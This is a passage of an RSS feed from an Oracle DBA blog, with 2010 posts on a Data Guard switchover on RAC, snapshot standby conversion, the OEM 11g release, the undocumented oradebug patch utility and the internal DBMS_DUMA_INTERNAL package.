src="http://feeds.wordpress.com/1.0/stumble/oraclue.wordpress.com/1320/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/oraclue.wordpress.com/1320/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/oraclue.wordpress.com/1320/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/oraclue.wordpress.com/1320/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/oraclue.wordpress.com/1320/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oraclue.com&blog=4867865&post=1320&subd=oraclue&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://oraclue.com/2010/05/20/using-oracle-data-pump-instaed-of-update/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/93d81c68274d316c3d3c57801cbcd9f2?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">oraclue</media:title>
		</media:content>
	</item>
		<item>
		<title>Manual Switchover involving RAC 11g using SQL*Plus</title>
		<link>http://oraclue.com/2010/04/22/manual-switchover-involving-rac-11g-using-sqlplus/</link>
		<comments>http://oraclue.com/2010/04/22/manual-switchover-involving-rac-11g-using-sqlplus/#comments</comments>
		<pubDate>Thu, 22 Apr 2010 15:21:10 +0000</pubDate>
		<dc:creator>oraclue</dc:creator>
				<category><![CDATA[HA]]></category>

		<guid isPermaLink="false">http://oraclue.com/?p=1301</guid>
		<description><![CDATA[1.    Verify that it is possible to perform a switchover operation. On the primary query the switchover_status column of v$database to verify that switchover to standby is possible. SQL&#62; select switchover_status from v$database; SWITCHOVER_STATUS &#8212;&#8212;&#8212;&#8212;&#8212;&#8212; TO STANDBY ( or SESSIONS ACTIVE is also ok) SESSIONS ACTIVE &#8211; Indicates that there are active SQL sessions attached [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oraclue.com&blog=4867865&post=1301&subd=oraclue&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>1.    Verify that it is possible to perform a switchover operation. On the primary query the switchover_status column of v$database to verify that switchover to standby is possible.</p>
<p>SQL&gt;<strong> select switchover_status from v$database;</strong><br />
SWITCHOVER_STATUS<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
TO STANDBY ( or <code>SESSIONS ACTIVE is also ok)<br />
</code></p>
<p><code>SESSIONS ACTIVE</code> &#8211; Indicates that there are active SQL sessions attached to the primary or standby database that need to be disconnected before the switchover operation is permitted. Query the <code>V$SESSION</code> view to identify the specific processes that need to be terminated.</p>
<p>In order to perform a switchover all sessions to the database need to be disconnected.Nothing to worry because ( <strong>with session shutdown</strong>) will take care of it.</p>
<p><strong>Shutdown ALL RAC instances BUT ONE before attempt a switchover!</strong></p>
<p>SQL&gt; ALTER SYSTEM ARCHIVE LOG CURRENT;</p>
<p>select thread#, max(sequence#) &#8220;Last Primary Seq Generated&#8221;<br />
from v$archived_log val, v$database vdb<br />
where val.resetlogs_change# = vdb.resetlogs_change#<br />
group by thread# order by 1;</p>
<p>SQL&gt; <strong>alter database commit to switchover to standby with session shutdown;</strong></p>
<p>2.  Shutdown the former primary and mount as a standby database:</p>
<p>SQL&gt; <strong>shutdown immediate</strong><br />
SQL&gt; <strong>startup mount</strong></p>
<p>3.  Defer the remote archive destination on the old primary( new standby):</p>
<p>SQL&gt; <strong>alter system set log_archive_dest_state_2=defer;</strong></p>
<p>4.  Verify that the physical standby can be converted to the new primary:</p>
<p>SQL&gt; select switchover_status from v$database;</p>
<p>SWITCHOVER_STATUS<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
TO PRIMARY</p>
<p>Note that if the status returns SESSIONS ACTIVE then you should append the with session shutdown clause.</p>
<p>5.  Convert the physical standby to the new primary:<span id="more-1301"></span></p>
<p>SQL&gt; <strong>alter database commit to switchover to primary with session shutdown;</strong></p>
<p><strong>This will start ALL INSTANCES on PRIMARY database!</strong></p>
<p>6.  Shutdown and startup the new primary:</p>
<p>SQL&gt; <strong>shutdown immediate</strong><br />
SQL&gt; <strong>startup</strong></p>
<p>7.    Enable remote archiving on the new primary to the new standby( former primary ):</p>
<p>SQL &gt; <strong>alter system set log_archive_dest_state_2=enable;</strong></p>
<p>SQL&gt; ALTER SYSTEM ARCHIVE LOG CURRENT;</p>
<p>Verify that logs are received on new standby ( old primary ):</p>
<p>SQL&gt; select thread#, max(sequence#) &#8220;Last Standby Seq Received&#8221;<br />
from v$archived_log val, v$database vdb<br />
where val.resetlogs_change# = vdb.resetlogs_change#<br />
group by thread# order by 1;</p>
<p>8.  Start managed recover on the new standby ( old primary ) database:</p>
<p>SQL&gt; <strong>ALTER DATABASE RECOVER MANAGED STANDBY DATABASE  THROUGH ALL SWITCHOVER DISCONNECT  USING CURRENT LOGFILE;</strong></p>
<p>Verify that logs are applied:</p>
<p>PhyStdby:SQL&gt;select thread#, max(sequence#) &#8220;Last Standby Seq Applied&#8221;<br />
from v$archived_log val, v$database vdb<br />
where val.resetlogs_change# = vdb.resetlogs_change#<br />
and val.applied=&#8217;YES&#8217;<br />
group by thread# order by 1;</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/oraclue.wordpress.com/1301/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/oraclue.wordpress.com/1301/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/oraclue.wordpress.com/1301/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/oraclue.wordpress.com/1301/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/oraclue.wordpress.com/1301/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/oraclue.wordpress.com/1301/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/oraclue.wordpress.com/1301/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/oraclue.wordpress.com/1301/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/oraclue.wordpress.com/1301/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/oraclue.wordpress.com/1301/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/oraclue.wordpress.com/1301/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/oraclue.wordpress.com/1301/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/oraclue.wordpress.com/1301/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/oraclue.wordpress.com/1301/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oraclue.com&blog=4867865&post=1301&subd=oraclue&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://oraclue.com/2010/04/22/manual-switchover-involving-rac-11g-using-sqlplus/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/93d81c68274d316c3d3c57801cbcd9f2?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">oraclue</media:title>
		</media:content>
	</item>
		<item>
		<title>OEM 11g Grid Control Release 1</title>
		<link>http://oraclue.com/2010/04/19/oem-11g-grid-control-release-1/</link>
		<comments>http://oraclue.com/2010/04/19/oem-11g-grid-control-release-1/#comments</comments>
		<pubDate>Mon, 19 Apr 2010 15:15:36 +0000</pubDate>
		<dc:creator>oraclue</dc:creator>
				<category><![CDATA[Performance]]></category>

		<guid isPermaLink="false">http://oraclue.com/?p=1302</guid>
		<description><![CDATA[Oracle is releasing OEM 11g  on April 22nd.However OEM 11g R 1 is available to download from Oracle E-Delivery site ( 3 files total 4.2 Gb &#8211; Linux x86-64 ) http://edelivery.oracle.com Also you can register for Webcast to watch this live event: http://www.oracle.com/enterprisemanager11g/index.html http://www.oracle.com/webapps/events/EventsDetail.jsp?p_eventId=110011&#38;src=6773871&#38;src=6773871&#38;Act=45 Oracle originally  had OEM 11g R1 documentation available online but it&#8217;s removed .It [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oraclue.com&blog=4867865&post=1302&subd=oraclue&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>Oracle is releasing OEM 11g  on April 22nd.However OEM 11g R 1 is available to download from Oracle E-Delivery site ( 3 files total 4.2 Gb &#8211; Linux x86-64 )</p>
<p><a href="http://edelivery.oracle.com/EPD/Download/get_form?egroup_aru_number=12378016">http://edelivery.oracle.com</a></p>
<p>Also you can register for Webcast to watch this live event:</p>
<p><a href="http://www.oracle.com/enterprisemanager11g/index.html">http://www.oracle.com/enterprisemanager11g/index.html</a></p>
<p><a href="http://www.oracle.com/webapps/events/EventsDetail.jsp?p_eventId=110011&amp;src=6773871&amp;src=6773871&amp;Act=45">http://www.oracle.com/webapps/events/EventsDetail.jsp?p_eventId=110011&amp;src=6773871&amp;src=6773871&amp;Act=45</a></p>
<p>Oracle originally  had OEM 11g R1 documentation available online but it&#8217;s removed .It will be back after live event on April 22nd.</p>
<p>Documentation is back:</p>
<p>http://download.oracle.com/docs/cd/E11857_01/nav/overview.htm</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/oraclue.wordpress.com/1302/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/oraclue.wordpress.com/1302/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/oraclue.wordpress.com/1302/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/oraclue.wordpress.com/1302/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/oraclue.wordpress.com/1302/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/oraclue.wordpress.com/1302/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/oraclue.wordpress.com/1302/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/oraclue.wordpress.com/1302/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/oraclue.wordpress.com/1302/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/oraclue.wordpress.com/1302/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/oraclue.wordpress.com/1302/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/oraclue.wordpress.com/1302/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/oraclue.wordpress.com/1302/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/oraclue.wordpress.com/1302/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oraclue.com&blog=4867865&post=1302&subd=oraclue&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://oraclue.com/2010/04/19/oem-11g-grid-control-release-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/93d81c68274d316c3d3c57801cbcd9f2?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">oraclue</media:title>
		</media:content>
	</item>
		<item>
		<title>Snapshot Standby</title>
		<link>http://oraclue.com/2010/04/08/snapshot-standby/</link>
		<comments>http://oraclue.com/2010/04/08/snapshot-standby/#comments</comments>
		<pubDate>Thu, 08 Apr 2010 17:37:02 +0000</pubDate>
		<dc:creator>oraclue</dc:creator>
				<category><![CDATA[HA]]></category>

		<guid isPermaLink="false">http://oraclue.com/?p=1293</guid>
		<description><![CDATA[Converting physical standby to snapshot standby Depens on Data guard configuration change protection mode: On Primary database: SQL&#62; ALTER DATABASE SET STANDBY DATABASE TO MAXIMIZE  PERFORMANCE ; SQL&#62;  alter system archive log current; Use these queries to check synchronization between primary and standby: Primary: SQL&#62; select thread#, max(sequence#) &#8220;Last Primary Seq Generated&#8221; from v$archived_log val, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oraclue.com&blog=4867865&post=1293&subd=oraclue&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p><strong>Converting physical standby to snapshot standby</strong></p>
<p>Depens on Data guard configuration change protection mode:</p>
<p>On Primary database:<br />
SQL&gt; ALTER DATABASE SET STANDBY DATABASE TO MAXIMIZE  PERFORMANCE ;<br />
SQL&gt;  alter system archive log current;</p>
<p>Use these queries to check synchronization between primary and standby:</p>
<p>Primary: SQL&gt; select thread#, max(sequence#) &#8220;Last Primary Seq Generated&#8221;<br />
from v$archived_log val, v$database vdb<br />
where val.resetlogs_change# = vdb.resetlogs_change#<br />
group by thread# order by 1;</p>
<p>PhyStdby:SQL&gt; select thread#, max(sequence#) &#8220;Last Standby Seq Received&#8221;<br />
from v$archived_log val, v$database vdb<br />
where val.resetlogs_change# = vdb.resetlogs_change#<br />
group by thread# order by 1;</p>
<p>PhyStdby:SQL&gt;select thread#, max(sequence#) &#8220;Last Standby Seq Applied&#8221;<br />
from v$archived_log val, v$database vdb<br />
where val.resetlogs_change# = vdb.resetlogs_change#<br />
and val.applied=&#8217;YES&#8217;<br />
group by thread# order by 1;</p>
<p>Stop logs shipment on primary database:<br />
<strong>ALTER SYSTEM SET log_archive_dest_state_2=&#8217;DEFER&#8217; SCOPE=BOTH SID=’*’;</strong></p>
<p><strong>On Physical Standby:</strong></p>
<p>On an Oracle Real Applications Cluster (RAC) database, shut down all but one instance.</p>
<p>Stop Redo Apply on standby , if it is active.</p>
<p>SQL&gt; <strong>ALTER DATABASE RECOVER MANAGED STANDBY DATABASE CANCEL;</strong></p>
<p>Ensure that the database is mounted, but not open.</p>
<p>SQL&gt; <strong>ALTER DATABASE CONVERT TO SNAPSHOT STANDBY;</strong></p>
<p>SQL&gt; <strong>ALTER DATABASE OPEN;</strong></p>
<p>Check database status:</p>
<p>select database_role,open_mode from v$database;</p>
<p>Start all instances and database services</p>
<p>srvctl  start service -d &lt;database_name&gt; -s &lt;service_name&gt;</p>
<p><strong>Reverting back to physical standby<span id="more-1293"></span></strong></p>
<p>On an Oracle Real Applications Cluster (RAC) database, shut down all but one instance.</p>
<p>Then on run this on instance which is still up:</p>
<p>SQL&gt; <strong>shutdown immediate</strong></p>
<p>SQL&gt;<strong> startup mount</strong></p>
<p>SQL&gt; <strong>ALTER DATABASE CONVERT TO PHYSICAL STANDBY;</strong></p>
<p>SQL&gt; <strong>shutdown immediate</strong></p>
<p>SQL&gt; <strong>startup mount</strong></p>
<p>Start redo apply:</p>
<p>SQL&gt; <strong>ALTER DATABASE RECOVER MANAGED STANDBY DATABASE  THROUGH ALL SWITCHOVER DISCONNECT  USING CURRENT LOGFILE;</strong></p>
<p><strong>On primary database:</strong></p>
<p>Start redo transport services:</p>
<p>SQL&gt; <strong>alter system set log_archive_dest_state_2=enable scope=both sid=’*’;</strong></p>
<p>SQL&gt;  <strong>alter system archive log current;</strong></p>
<p>Use queries from the top to verify that all logs are received and apply.</p>
<p><strong><br />
</strong></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/oraclue.wordpress.com/1293/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/oraclue.wordpress.com/1293/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/oraclue.wordpress.com/1293/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/oraclue.wordpress.com/1293/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/oraclue.wordpress.com/1293/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/oraclue.wordpress.com/1293/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/oraclue.wordpress.com/1293/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/oraclue.wordpress.com/1293/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/oraclue.wordpress.com/1293/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/oraclue.wordpress.com/1293/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/oraclue.wordpress.com/1293/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/oraclue.wordpress.com/1293/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/oraclue.wordpress.com/1293/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/oraclue.wordpress.com/1293/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oraclue.com&blog=4867865&post=1293&subd=oraclue&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://oraclue.com/2010/04/08/snapshot-standby/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/93d81c68274d316c3d3c57801cbcd9f2?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">oraclue</media:title>
		</media:content>
	</item>
		<item>
		<title>Oracle Online Demos and Tutorials</title>
		<link>http://oraclue.com/2010/03/10/oracle-online-demos-and-tutorials/</link>
		<comments>http://oraclue.com/2010/03/10/oracle-online-demos-and-tutorials/#comments</comments>
		<pubDate>Wed, 10 Mar 2010 19:44:24 +0000</pubDate>
		<dc:creator>oraclue</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://oraclue.com/?p=1277</guid>
		<description><![CDATA[I am sure most of you are already familiar with these resources but sometime we all  forget where to look for quick help when is really needed. I find these demos and tutorials very valuable .You can quickly find out what needs to be done to successfully implement particular feature without spending too much time [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oraclue.com&blog=4867865&post=1277&subd=oraclue&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>I am sure most of you are already familiar with these resources but sometime we all  forget where to look for quick help when is really needed.</p>
<p>I find these demos and tutorials very valuable .You can quickly find out what needs to be done to successfully implement particular feature without spending too much time digging Oracle documentation and other resources ( of course I strongly recommend reading Oracle Documentation before doing anything).</p>
<p>You can find them at  <strong><strong><a href="http://www.oracle.com/technology/obe/demos/admin/demos.html"><strong>Online Demos and Online Tutorials</strong></a></strong></strong></p>
<p><strong><strong><strong>Oracle 11g R2 is also included.</strong></strong></strong></p>
<p><strong><strong><strong><br />
</strong></strong></strong></p>
<p><strong><a href="http://www.oracle.com/technology/obe/demos/admin/demos.html"><strong><br />
</strong></a></strong></p>
<p><a href="http://google.com"></a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/oraclue.wordpress.com/1277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/oraclue.wordpress.com/1277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/oraclue.wordpress.com/1277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/oraclue.wordpress.com/1277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/oraclue.wordpress.com/1277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/oraclue.wordpress.com/1277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/oraclue.wordpress.com/1277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/oraclue.wordpress.com/1277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/oraclue.wordpress.com/1277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/oraclue.wordpress.com/1277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/oraclue.wordpress.com/1277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/oraclue.wordpress.com/1277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/oraclue.wordpress.com/1277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/oraclue.wordpress.com/1277/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oraclue.com&blog=4867865&post=1277&subd=oraclue&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://oraclue.com/2010/03/10/oracle-online-demos-and-tutorials/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/93d81c68274d316c3d3c57801cbcd9f2?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">oraclue</media:title>
		</media:content>
	</item>
		<item>
		<title>Patch utility interface</title>
		<link>http://oraclue.com/2010/03/05/patch-utility-interface/</link>
		<comments>http://oraclue.com/2010/03/05/patch-utility-interface/#comments</comments>
		<pubDate>Fri, 05 Mar 2010 20:40:27 +0000</pubDate>
		<dc:creator>oraclue</dc:creator>
				<category><![CDATA[Internals]]></category>

		<guid isPermaLink="false">http://oraclue.com/?p=1250</guid>
		<description><![CDATA[This is also undocumented feature.As name suggest this utility is used to install patches or to be more precise online patches without shooting down instance ( as you know Oracle  now offers online patching ). This patch utility can be invoked by running oradebug command: oradebug patch Here is list of all available options which [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oraclue.com&blog=4867865&post=1250&subd=oraclue&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>This is also undocumented feature.As name suggest this utility is used to install patches or to be more precise online patches without shooting down instance ( as you know Oracle  now offers online patching ).</p>
<p>This patch utility can be invoked by running oradebug command:</p>
<p><strong>oradebug patch </strong></p>
<p>Here is list of all available options which are self descriptive:</p>
<p>[list|install|remove|disable|enable]  <strong>&lt;file&gt; &lt;temp&gt;</strong><br />
temp = (disabled at restart<br />
default=perm)<br />
file = (in $ORACLE_HOME/hpatch/)</p>
<p><strong>$ORACLE_HOME/hpatch</strong> directory contains shared libraries used by online patching.<span id="more-1250"></span></p>
<p>$ORACLE_HOME/hpatch/orapatch@.cfg ( configuration file )</p>
<p>Oracle has dummy patch <a href="https://updates.oracle.com/download/6198642.html">6198642</a> which can be used to test online patching.You can see it on Laurent&#8217;s blog:</p>
<p>http://laurentschneider.com/wordpress/2007/12/oracle-11g-hot-patching.html</p>
<p>and more on online patching:</p>
<p>http://www.oracle.com/technology/deploy/availability/pdf/oracle-openworld-2007/S291525_NowakDutcher.pdf<a href="http://www.oracle.com/technology/deploy/availability/pdf/oracle-openworld-2007/S291525_NowakDutcher.pdf"></a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/oraclue.wordpress.com/1250/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/oraclue.wordpress.com/1250/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/oraclue.wordpress.com/1250/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/oraclue.wordpress.com/1250/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/oraclue.wordpress.com/1250/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/oraclue.wordpress.com/1250/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/oraclue.wordpress.com/1250/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/oraclue.wordpress.com/1250/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/oraclue.wordpress.com/1250/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/oraclue.wordpress.com/1250/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/oraclue.wordpress.com/1250/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/oraclue.wordpress.com/1250/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/oraclue.wordpress.com/1250/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/oraclue.wordpress.com/1250/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oraclue.com&blog=4867865&post=1250&subd=oraclue&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://oraclue.com/2010/03/05/patch-utility-interface/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/93d81c68274d316c3d3c57801cbcd9f2?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">oraclue</media:title>
		</media:content>
	</item>
		<item>
		<title>DBMS_DUMA_INTERNAL</title>
		<link>http://oraclue.com/2010/03/01/dbms_duma_internal/</link>
		<comments>http://oraclue.com/2010/03/01/dbms_duma_internal/#comments</comments>
		<pubDate>Mon, 01 Mar 2010 20:55:14 +0000</pubDate>
		<dc:creator>oraclue</dc:creator>
				<category><![CDATA[Internals]]></category>

		<guid isPermaLink="false">http://oraclue.com/?p=1252</guid>
		<description><![CDATA[Accidentally found this  package  in Oracle version 11.2.0.1 .No documentation available but that&#8217;s the case with internals so be careful with this ( use in test database ). cd $ORACLE_HOME/rdbms/admin SQL&#62; @prvtdumi.plb Library created. Package created. No errors. Package body created. No errors. 1* select object_name,object_type from dba_objects where object_name like &#8216;%DUMA%&#8217; SQL&#62; / OBJECT_NAME                                   [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oraclue.com&blog=4867865&post=1252&subd=oraclue&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>Accidentally <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  found this  package  in Oracle version 11.2.0.1 .No documentation available but that&#8217;s the case with internals so be careful with this ( use in test database ).</p>
<p>cd $ORACLE_HOME/rdbms/admin</p>
<p>SQL&gt; <strong>@prvtdumi.plb</strong></p>
<p>Library created.</p>
<p>Package created.</p>
<p>No errors.</p>
<p>Package body created.</p>
<p>No errors.</p>
<p>1* select object_name,object_type from dba_objects where object_name like &#8216;%DUMA%&#8217;<br />
SQL&gt; /</p>
<p>OBJECT_NAME                                   OBJECT_TYPE<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
DUMA_LIB                                      LIBRARY<br />
DBMS_DUMA_INTERNAL                            PACKAGE<br />
DBMS_DUMA_INTERNAL                            PACKAGE BODY</p>
<p>SQL&gt; <strong>desc dbms_duma_internal</strong><br />
PROCEDURE <strong>CONVERT_LONG</strong><br />
Argument Name                  Type                    In/Out Default?<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212; &#8212;&#8212;&#8211;<br />
TARGET_TABLE_ID                NUMBER                  IN<br />
SOURCE_TABLE_ID                NUMBER                  IN<br />
BUFFER_SIZE                    NUMBER                  IN     DEFAULT<br />
DDBCS_ID                       NUMBER                  IN     DEFAULT<br />
ROWS_TO_COMMIT                 NUMBER                  IN     DEFAULT<br />
START_ROWID                    ROWID                   IN     DEFAULT<br />
END_ROWID                      ROWID                   IN     DEFAULT<br />
FLAGS                          VARCHAR2                IN     DEFAULT<br />
FUNCTION <strong>GET_PROPERTY</strong> RETURNS NUMBER<br />
Argument Name                  Type                    In/Out Default?<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212; &#8212;&#8212;&#8211;<br />
PROPERTY_INDEX                 NUMBER                  IN<br />
FUNCTION <strong>READ_LONG_TO_BLOB</strong> RETURNS BLOB<br />
Argument Name                  Type                    In/Out Default?<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212; &#8212;&#8212;&#8211;<br />
OWNER_NAME                     VARCHAR2                IN<br />
TABLE_NAME                     VARCHAR2                IN<br />
COLUMN_NAME                    VARCHAR2                IN<br />
ROW_ID                         ROWID                   IN<br />
BUFFER_SIZE                    NUMBER                  IN     DEFAULT<br />
PROCEDURE <strong>SCAN_TABLE</strong><br />
Argument Name                  Type                    In/Out Default?<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212; &#8212;&#8212;&#8211;<br />
TABLE_ID                       NUMBER                  IN<br />
SCAN_ID                        NUMBER                  IN     DEFAULT<br />
BUFFER_SIZE                    NUMBER                  IN     DEFAULT<br />
DDBCS_ID                       NUMBER                  IN     DEFAULT<br />
START_ROWID                    ROWID                   IN     DEFAULT<br />
END_ROWID                      ROWID                   IN     DEFAULT<br />
FLAGS                          VARCHAR2                IN     DEFAULT<br />
PROCEDURE <strong>WRITE_BLOB_TO_LONG</strong><br />
Argument Name                  Type                    In/Out Default?<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212; &#8212;&#8212;&#8211;<br />
SOURCE_LOB                     BLOB                    IN<br />
OWNER_NAME                     VARCHAR2                IN<br />
TABLE_NAME                     VARCHAR2                IN<br />
COLUMN_NAME                    VARCHAR2                IN<br />
ROW_ID                         ROWID                   IN<br />
BUFFER_SIZE                    NUMBER                  IN     DEFAULT</p>
